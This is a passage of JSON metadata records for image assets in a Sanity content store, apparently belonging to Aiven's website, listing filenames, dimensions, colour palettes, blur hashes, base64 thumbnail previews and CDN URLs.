":"#a87561","foreground":"#fff","population":0.32,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bf3f41","foreground":"#fff","population":0.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"DiogoLaRedoute.png","path":"images/sczeoy4w/production/783e94bbcbfc97127ffd4f06e7d0a765dd51345b-1200x628.png","sha1hash":"783e94bbcbfc97127ffd4f06e7d0a765dd51345b","size":304178,"uploadId":"BG9jre4Pfv1C8N8jzNs107uwQpTV8Msa","url":"https://cdn.sanity.io/images/sczeoy4w/production/783e94bbcbfc97127ffd4f06e7d0a765dd51345b-1200x628.png"} {"_createdAt":"2024-08-12T17:38:54Z","_id":"image-3306dc1461cae869e15e9eea271d3f4ce792df92-1786x1084-png","_rev":"r5LPoGyPhOYoDcEpCfC5e0","_type":"sanity.imageAsset","_updatedAt":"2024-08-12T17:38:54Z","assetId":"3306dc1461cae869e15e9eea271d3f4ce792df92","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VDSFeOuj^*tSO@T}tl-oiwIAuih1t,t7R5:%VET0pJXn","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6476014760147601,"height":1084,"width":1786},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAABYlAAAWJQFJUiTwAAACgElEQVQokV2TbY8URRSF9ycaE83+AP3gj/AzGtkEjMYQJcKa5YvIAgIrRNBEjC5I1BhhX4bpHcaefu+erup66arueUz3LgvhJqdublVyUvfcc9d4LVYv82qFbR1FKYjjkiguiZOSohBY68b3NzHEcK4NRd91I1Z9P7DRdR2zFyk3b+/y1aW7fPn1XS5evsf1W7scPI8RjafR3QhtOrzvT0nXeu+w0Qwz26MTJXQOby1BEHFr5zGXtx5waesBm1d+5sbtR/zzNCRKNUmuiTNFXhqU8fT9CWFnGtTDbeT2eezhn/RW0xlFlVcEwYK9/SMOJyGTacTzacg8zEhzSZItieKCvJA0qqUfuhsIW1Ghbn6G+vQ99C9X8VU6EsqlIEkyFouYJC3IS0Gel+R5RVFKinJJlheUlUTplu4loSpTxLVz2I/fxXz7EebwL7xqaBpDntekaUmWVRR5TVUJqmVDuVRjXlaCulZo4179sMkT6mvnaM+8jfviA/QPFzHBU4wQKCFPoaXEKoOxDmM9xlis0ljb4rvXhmKqnOb6edyZt1idfQf3+fuYOxfQ//6Gmfw9ktswoC0SnBQ4rXHW4s2x1r1zoztOCX1TY3Yu4M6u02+s022s47c+pL2/ibn/DfqnK+jfv0c/e4yaT1BhgFrMUNEcnYSYMsNp9arlYarqj3vI7zaQVz8ZoX7cRO3eQf56A/lwm+bRDmr/CXo+Qc4OqKd7VNN9quAQEb7ALCs674+NPRha5TH10QFVsEc5fYYIj2jSCBn/h4jmNOkCW5e4RqLrJbLIEUWGLItR60GC/kTHcVO897StG2HbdqwHG3TdCU40GreqHzbp+H5o880V/B/7/nuJFxuMLgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5f3f45","foreground":"#fff","population":0.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ca2c04","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bfbcc2","foreground":"#000","population":3.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfbcc2","foreground":"#000","population":3.64,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6b290","foreground":"#000","population":3.32,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aa7460","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f45107","foreground":"#fff","population":3.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Time Critical Decisions (1).png","path":"images/sczeoy4w/production/3306dc1461cae869e15e9eea271d3f4ce792df92-1786x1084.png","sha1hash":"3306dc1461cae869e15e9eea271d3f4ce792df92","size":64563,"uploadId":"pzo3PvczLTonXyH4Ky2efNdeYfF3fAZ8","url":"https://cdn.sanity.io/images/sczeoy4w/production/3306dc1461cae869e15e9eea271d3f4ce792df92-1786x1084.png"} {"_createdAt":"2024-06-10T17:29:34Z","_id":"image-3e6cef883ebde4f0275c6c515a3a68be8f29b5ef-1088x725-webp","_rev":"50GAuUARqeR0zNS5G16rFV","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T17:29:34Z","assetId":"3e6cef883ebde4f0275c6c515a3a68be8f29b5ef","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"VCOpDC8w4:n~^+00-;D%Rjs.9F?bxvx]kD~pD%tRt7D*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5006896551724138,"height":725,"width":1088},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAPoAAAD6AG1e1JrAAADdUlEQVQ4jT3R+U/TdxzH8f55y7JfFg0xLs7NuDlQDsdAEVOgk6OhDgKFlUNWKFdBxIkIFJiiRYRCOISWXly96UX7pS3whc9zoSb+8Mrr/dMj73feijHdY3m47rYYqLjKYMVV8aL6OpPN95jrUWHqVDLWXMSMrpj3PVVMdv3JSOsjRlrLshnWPmSo+QEDjSXo1QX8XfkrionOSvl5fa7oVebQV5Ejhqpv8PKvPEwd5cx0ljPb/gcf9OWYB+qY1NfwvKWMoeZShrUPMDaV0t9QjEFzn3/q8tGp7qB421sr/6stEd1VN+l4lCO6Hl+ju+I6RvUvjLcU8667kqXRJlbGu5jtb2BYW4axqeQraNAU8azmLlrlbTSlN1AsDj+VTV2VwlCbS1Px90Jz9xsaC79Dr7rFlL6aNVMv7sUJbOZXTPQ8Ra8uRK/Ox1BflO021W80lP3Ek6JrKPOuoHjfo5L/01eKQc09GoqviLq8b2lT/ozJoGHbPEbAusChfQmb+TUjbTW0VuWhU+XRUZ1PR00B7dUF6J4U0lZzn051KYqB+kJ5rKVE9Kvz0Jb9IDpUd5jua8S1NEXYYckmaF3AbZnm03gf04OtmAa0zA7pmBt9xvxrA0tTRtbfvcQ6P45iuLVKNjaUCJ3yFo0PfxQvdKrsZlnMbsG/OY/vs5mg7ROHjmXCjhUOHSuEXatEdz8T91hJ+h0cB12kgi4UG29H5UlDo2hW5lJbfFO86WnEu/GBmHs1i1yClx1xriB5bZyGd5FjHs6P/JxLQS5SYS7SES7S0eysOLRbZNvHN2Kkox6t6ncxM9RO0LZIfHedQ7uFkH2JsHOF6M4aSY+VTGiHs5iX8+QXTGRiiNME4iyJOJNQHO1vymHHstiYe8VYT5MwjxkIbi+RPNgitrNG1L1KbHed2N4GRwdbSH4HmfAep3EfshTiPBXhPBPn4iSBkNMojv1OOXGwJS6/uTo7IixTRnybH7PnXW50tL+ZTXx/i6MDKwmfHSnoJh05IBPzcZoIcpo85EyKcCFnUJzGPHIq4BSxnXXclhlhmRrEvmjKIqmAE8lvJ+ndJuGxkbhsn51kwIUU2uU4tEcm5icd9ZKJB76A51JIPonsC8m7jfezWSyM97E4OUTQvpwFUyE3UsCZxZJ+51cwEXCR9LtIR30kgzukIh4u5BP+B9QPPVTRApMXAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#59442f","foreground":"#fff","population":4.73,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8a6434","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#937451","foreground":"#fff","population":9.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cbb5a0","foreground":"#000","population":6.49,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fce4d3","foreground":"#000","population":0.27,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#937451","foreground":"#fff","population":9.69,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#be945c","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"Hudson_1.webp","path":"images/sczeoy4w/production/3e6cef883ebde4f0275c6c515a3a68be8f29b5ef-1088x725.webp","sha1hash":"3e6cef883ebde4f0275c6c515a3a68be8f29b5ef","size":43210,"uploadId":"v5YPwLZ9SEPvopru509zy7hbJyicD8m9","url":"https://cdn.sanity.io/images/sczeoy4w/production/3e6cef883ebde4f0275c6c515a3a68be8f29b5ef-1088x725.webp"} {"_createdAt":"2024-05-27T11:42:23Z","_id":"image-c958841206b462dc9d24f403fb4d45ac772285b5-1600x1137-png","_rev":"jlE3yG3C5Lxk0cUOqclCyo","_type":"sanity.imageAsset","_updatedAt":"2024-05-27T11:42:23Z","assetId":"c958841206b462dc9d24f403fb4d45ac772285b5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VgO{?lE*9FT0Di*0r?xaxaRjDNRjtms.XSX.oJi_aeV@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4072119613016711,"height":1137,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAABYlAAAWJQFJUiTwAAAD8ElEQVQ4jW3QX0xbVRwH8GsCDB72YMwe5nxxKhgMJGpkD0AWIYKJMYtxTmTqGGFGw1q28R80I/wbTOgMox0SDQMGG90W3aLClriJDJmD4WDQQikUCh0ta3svvffce+499/yOKTTxxZN88j05D9/8zo/zB+UY59KTXXf+GNvbP/BTfHevNSHi1bCLvQMJPZesCX2Xr7/S0dn1/IPxh8k+30YZzwuXJAkNEEKuUEpbCNHSUYiP4gSRxLZbfkj86JP8vP3ZH9alZh1qTs3OaUrNzglnc2pWTnP6u7nN73yQf+a9j786ffpMu2nykW00GBS8ioL9lFI/BRghun5IVCGG8ws47uSpivScwwUXjx2vdBmrvvUaq03rhqpWr6GqxRvOomqTt7TWvP7N2R89HT03fJNT8wrPh5iqqoxSyqiu24kiHUWOe7HcmleIO1Vcnllb23jzl19vK5PTDjYx5WD3H86ysYmZrRx/NMem7C5mW1hlzuUnzOsLgBiSqKqqlBAddCmwTBy/V5PvM3dzbk8grqLy60yL2XLDZrPJGKsMSQrlg5sg8JsQCokgywroug6MMdB1CgjJIIpo611VNUY2HKI+3NpPm158g1uNFJrNlpuzszYZKyqTJQwhQQJJQqBgDJpGgFIK4UMIAVEUQRAEQAiBpqlMX58h9HbNIG14IY1zr/ljS8sq3jabLT/bbHY5vBdFVkAUJYaQwsITa5rGVKIzTIApWGOBgMC8Xj8EeREQwgyvPibaUKTQseiJyjuav6+t7bz1v0IEYmiTSSJiSFaYgjFDmDARAwshjblWePbPtA+mZwMwYw8y59/3SeBq5SCt35PGGU9WcRkZmckm07leu92ONFVjWFFAEkWQJJnJMobwlDImWzZDmDmcPBsb97G/HmzA3eElNny5jyy15Q7SmufSuHXvBpeSkpJoMp3rnp+fl0j4a4q6tXSEFFAUFTDWQMEEMCYgyyrwggJP/TI8DSgw99jG7nWUEUdl/G+s/JlUzmq9FpWVlfV6XV1d38jIiOxyrbAFp4va55ww51gEx4ILFhaXwbnkhsWIJZcbXMtucK2s0fHRO3CrKVebLdo1iKt27ue6urp3FxQcyywsLOxsaWmZ6eq0rPVbzspX2uvY5fPbBtrrmdXcsM0SYW5gA+ZG1tNczKzFGXSi+OW7rvq33udaTd/tKSo68eZnnx85mJeX90XjlwcarhtS/hwyJq/eMiZ5hgxJniFjkmfrHsltydsMr3lGjS+5baV7r83U7MvmSkrLo44XFu44fCQ/9tODB+LmjM8mCsUxJ6SSaLNUEnVBKomySCXRlu38P9EXUGl0OyrbYeDLdsb/CzZbKzqq4d4MAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#643c64","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#092762","foreground":"#fff","population":1.76,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f87505","foreground":"#fff","population":6.73,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c5bca1","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f93e6","foreground":"#000","population":0.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c647c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87505","foreground":"#fff","population":6.73,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"laptop-aiven-console-create-service-aiven-for-caching.png","path":"images/sczeoy4w/production/c958841206b462dc9d24f403fb4d45ac772285b5-1600x1137.png","sha1hash":"c958841206b462dc9d24f403fb4d45ac772285b5","size":304751,"uploadId":"fHLQZkvnH2qnk7hhQ8PIbEzxacKryZm7","url":"https://cdn.sanity.io/images/sczeoy4w/production/c958841206b462dc9d24f403fb4d45ac772285b5-1600x1137.png"} {"_createdAt":"2024-12-03T07:39:40Z","_id":"image-08bd49df4f78a92d1e1e9eda7a3b12d89ca629fd-800x800-jpg","_rev":"PbSF8wjEESeIG4nK76r4Xh","_type":"sanity.imageAsset","_updatedAt":"2024-12-03T07:39:40Z","assetId":"08bd49df4f78a92d1e1e9eda7a3b12d89ca629fd","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eCKK$ts9.T00Q-n3WXtm_NMwozozof%M-;S#V@VYE1I:x^WBrrjZ9Z","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAQGBwX/xAAlEAABAwMDBQADAAAAAAAAAAABAgMEAAURBgcSFCEiQVFhcoH/xAAXAQADAQAAAAAAAAAAAAAAAAAAAQID/8QAGREAAwEBAQAAAAAAAAAAAAAAAAECEjEh/9oADAMBAAIRAxEAPwC6alkqhWKQ60FlzHFPAZOT8qu2uS3a9UW+PDDvRXBglacEhDg9/wBrr7ezpzm5F9gT+bkINBbKXE+I/WqBd5rukN8o6W3VuQZDo4tLOQErOCAPwa0U6fjHpTLTXTYFo8qVJmoDcpxOO2e1KCSFbUJbuKJKEgPkcOfvHysy31itM7i6VkNpw648kKP3yFKVUio2K9gdbn6hJpSlS+jR/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d3139","foreground":"#fff","population":1.88,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0f1726","foreground":"#fff","population":19.4,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b4b4bc","foreground":"#000","population":20.81,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b4bc","foreground":"#000","population":20.81,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9fb3d9","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9d787b","foreground":"#fff","population":1.67,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#486eb6","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Carita Weiss-CEO at Avanoro.jpeg","path":"images/sczeoy4w/production/08bd49df4f78a92d1e1e9eda7a3b12d89ca629fd-800x800.jpg","sha1hash":"08bd49df4f78a92d1e1e9eda7a3b12d89ca629fd","size":112177,"uploadId":"7EU5j0GjjVpDf5ctIUi6qAd08LXPar05","url":"https://cdn.sanity.io/images/sczeoy4w/production/08bd49df4f78a92d1e1e9eda7a3b12d89ca629fd-800x800.jpg"} {"_createdAt":"2024-12-03T07:41:14Z","_id":"image-96958329c02d9053d71c71143f612ee09ec09d01-800x800-jpg","_rev":"TZseqjnC3npGl19UZWjmAA","_type":"sanity.imageAsset","_updatedAt":"2024-12-03T07:41:14Z","assetId":"96958329c02d9053d71c71143f612ee09ec09d01","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e8AAaaxu00D%~qRjofxuM{Rj00Rj_3%MIUIUWB-;t7IUM{WBxut7Rj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAQADAQAAAAAAAAAAAAAAAAYDBAcF/8QAJBAAAQMEAQMFAAAAAAAAAAAAAQACAwQFBhESByFRFTFCcYH/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8A5DjFpN3u8FGC0GQ6BcdD9XsZthFfjkkck76ZzH/GJ29DysGEVEVLf6Z07A+N54lqteodXBJbyBFG6Qa09pJ4jwUHIyzui2HgckQSfq1ZFcIqiOYtkieHM17AhVGWZpd7paY6aodCxknd5ij4l/2URBIxXGqjYGtlOh5REQf/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":1.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b7b7b7","foreground":"#000","population":8.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b7b7b7","foreground":"#000","population":8.97,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848484","foreground":"#fff","population":1.6,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Daniel Oldgren, Solutions Architect at IRORI.jpeg","path":"images/sczeoy4w/production/96958329c02d9053d71c71143f612ee09ec09d01-800x800.jpg","sha1hash":"96958329c02d9053d71c71143f612ee09ec09d01","size":75057,"uploadId":"Ef5529toMhpA3koXHz7GAkHopEKu4oHk","url":"https://cdn.sanity.io/images/sczeoy4w/production/96958329c02d9053d71c71143f612ee09ec09d01-800x800.jpg"} {"_createdAt":"2024-05-27T13:23:19Z","_id":"image-273c1158e6b01574935ef45ca71c135352eaafaf-1200x630-png","_rev":"kvD2acrBmFSZeMYobreFmB","_type":"sanity.imageAsset","_updatedAt":"2024-05-27T13:23:19Z","assetId":"273c1158e6b01574935ef45ca71c135352eaafaf","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MAB:2r1V,oE;+WbUTO}h0jxui^I9E,-U-P","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADBklEQVQokT3PW0+aBwCA4e8PLF0UQRREhTqhoCjUT60MBeVUzh9Ti8UUClIVrTqdE4wKFuKBapfZbTfe2SV2ZjU16w7Jsptmy5JdmCy9WZYtu9jt/sK7xCX7A0/eV3irTuKaIsbb9aPUNMSpVU1Sp04h10yhaJ5F2foQpXYJpe4DGq7nUeu3abN8hmngS3qdL0hHdznJ3ePXkp9/Dh0INQ1jaA0pjJYZjJYcRutDOnuW6RRX6RTzdPVt0NVfpL17E3V7AVV7CV3XU4y3zhAd59wNHfLJVJbXhSh/7ngQ5E13uDmwgDe0gTe0xYh/C3fwEX5pD294H2/4MZ7wIVZbBY1+HdU7RXTmjzH2n2IZfIHffcRGfIHPc5O8XIojKJriiLZFgrESwdgjXIEinlCZ8GiV4HsH+KVDnP4qN6xbNLblr8DrXR9htj3DOvgcx7tPmPPOU5busxKeR1Bo4vTYFq7AgLT9f2EgtkdAeowvcoBtZAddxzoNujU0hhKm3iNuuU8ZuX3KveEiu06JPWeEOVsGoV4zQa99kfDoNtHxCgGpjC9cwRvewRPawx2s0ueo0GIsoNTlaTVVEB3HeKQLxu+8pBz9kAtvH184Rfbtgf+WLf3z+MKbhEfLeIIlRHseo3UFQ/cqppsFTJY1DB3L6I0rmKwVhnzPiCa+Z/L+DxTGDzjxBThxDVMcSiDIGsdo78jQZ1/C7lpDtK+iM82haM5Sp5lBpZ1H7J4lPpwmezvNhH+d2PgpiexPpGZ/YSJ+QdL9hNTwLsGhTxFqFBKtzWMYbqTQm6dp0WdRNKeRqTPI1NOotTkCA2mqiTHO5iIcz+d4f/Y5DxYvmV5+QyTxmn7XK3ocr7A6vkaolUfQqqK0tyXQGjIoW1PUNiaRqdLImmauwKAtzXFG4nLTw4/bafbzZywVfmNx/Q9Gkz8jur7FPPgN5sGvEK7VRZHVS8hVY8ib7iJTTVJzBWaoa5qmvmUOm/UBR8kYv1eGeVNN8rR0zlrpL1ZLfxOfuqTX/R2d9gs6bOf8C8q6u2Y6M7W/AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4474","foreground":"#fff","population":1.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":6.92,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":6.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8894c9","foreground":"#000","population":0.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f88e6","foreground":"#fff","population":1.38,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5cae","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e04b11","foreground":"#fff","population":1.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Securing Your Open Source Dependency Chain.png","path":"images/sczeoy4w/production/273c1158e6b01574935ef45ca71c135352eaafaf-1200x630.png","sha1hash":"273c1158e6b01574935ef45ca71c135352eaafaf","size":246275,"uploadId":"HU98AWV9ltao8zyJKx2e9d5SLD2mRlLz","url":"https://cdn.sanity.io/images/sczeoy4w/production/273c1158e6b01574935ef45ca71c135352eaafaf-1200x630.png"} {"_createdAt":"2024-12-03T07:44:56Z","_id":"image-d4630726b4e50510894753c066ae121718dbe01f-467x467-jpg","_rev":"PbSF8wjEESeIG4nK76tIB9","_type":"sanity.imageAsset","_updatedAt":"2024-12-03T07:44:56Z","assetId":"d4630726b4e50510894753c066ae121718dbe01f","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e8FYu,-;009F~q^+RjD%xa%M00D*~Wt7IUxuxu%Mt79FD%xuf6t7IU","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":467,"width":467},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAUEBv/EACUQAAIBBAEEAQUAAAAAAAAAAAECAwAEBRESBhMhYVExMkFCUv/EABYBAQEBAAAAAAAAAAAAAAAAAAEAAv/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/AMZEjSRxp90jhB63VLqnDHAizdL4XCzniysvEg/I9VSxDwRZWIJ2+7+oY+N1l6hyyZW+e24uJE8sJ9aDD+aGmbHWMdzbCSS6SNiSOJNKkNjboseOtejSoIa3c00bF38j8jxUHIF0u1nEsvc+SxNKUh1WEy91c42J5mVnG13r66NKUoL/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#424142","foreground":"#fff","population":5.83,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4a423a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7474","foreground":"#fff","population":9.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4bcb4","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c4bcb4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7474","foreground":"#fff","population":9.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8e7f70","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Tobias Sakket, Payment Manager at Coop.jpeg","path":"images/sczeoy4w/production/d4630726b4e50510894753c066ae121718dbe01f-467x467.jpg","sha1hash":"d4630726b4e50510894753c066ae121718dbe01f","size":40597,"uploadId":"axWw8KZVQ8Q5UJXwYjHb8OqN7eiMcG6O","url":"https://cdn.sanity.io/images/sczeoy4w/production/d4630726b4e50510894753c066ae121718dbe01f-467x467.jpg"} {"_createdAt":"2024-06-05T12:40:28Z","_id":"image-eb250de4cabfed80bdd99d3debd758bce7bbec15-1200x628-png","_rev":"7VMg2ah1zR41YC0lmIGFcR","_type":"sanity.imageAsset","_updatedAt":"2024-06-05T12:40:28Z","assetId":"eb250de4cabfed80bdd99d3debd758bce7bbec15","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6A,Cr1W|,ji0J-gokKN+rAf4TIqxw-2O^","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACYUlEQVQokS3RS0/aAAAA4P6DJYI8BErFlpdCkbbgg7cQlPIoLRQQ7IaI21CpgigPRUVBRDZdJgeXLMu227aMZKftssN2Mkt2W/Z3liz+gO/0AQJpDFKv6EzrU9imAd824GUNWpLBW2KoKB4vSScqUrgO62oZB/dpefobp2osmTmvO+xMo/gZIFKkUEvB7t1z+Gq2hYbD15xxHiLGXTmyo1BXQE1Vpm5o9PtrrtTntOlLGuwyeCfHFGJZwlIFJMplYp73hw/J6EkgehZiuv7wOWFvotam1dUm7B3YeALrD2gX/zy90mcXa7Sv/3R5I54hsOI9DlBH0WSHSnQpthdkep5Axxu8pJIDkrmZnu+q0bZv6ba0MSzlX+WofIGOxBeihJkHJFB61lWik+14+oJOXVBsLxy7pBJX8cyA5W5D8YHVdTll6S/Fhnz9b7l69yjZYv1UwMbiWA0QgSnCtk3Sx2S0RdLtIHNO0hfR5HUsM4gkbpz+vh4/1WK9xdiwsP+nUv1V5U5rgUDWyVrxY2BEyk7osiixYbLy5rny9GzFNFPFbYcWRwu3n+qxY1B7AKPn3siHVf73XvnHG47/HjIMPB6/pQGMiJhxRVyj4eDJdVCdl0BrYuixVLUpg3dkyK4M2R9D6irDmX3xXWLt59aTr28T+TtS99rjDlpqgFBMIwpmUsupDesyOCeQZwXy/ChYECvvn8eQOqg7Mc6+dIc+UpH3u77iM1eoOJ+dM7eBByJGKGFE8qRYmRkFHwrlq0JFXqQsSKCiRPUfw3W55gia7GjNV0bsag5rufGm1dzRml78AwnLvhzWcfuaAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e2d68","foreground":"#fff","population":1.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041e78","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cc612e","foreground":"#fff","population":7.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#212a77","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6d78d6","foreground":"#fff","population":7.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#515c8d","foreground":"#fff","population":0.39,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc612e","foreground":"#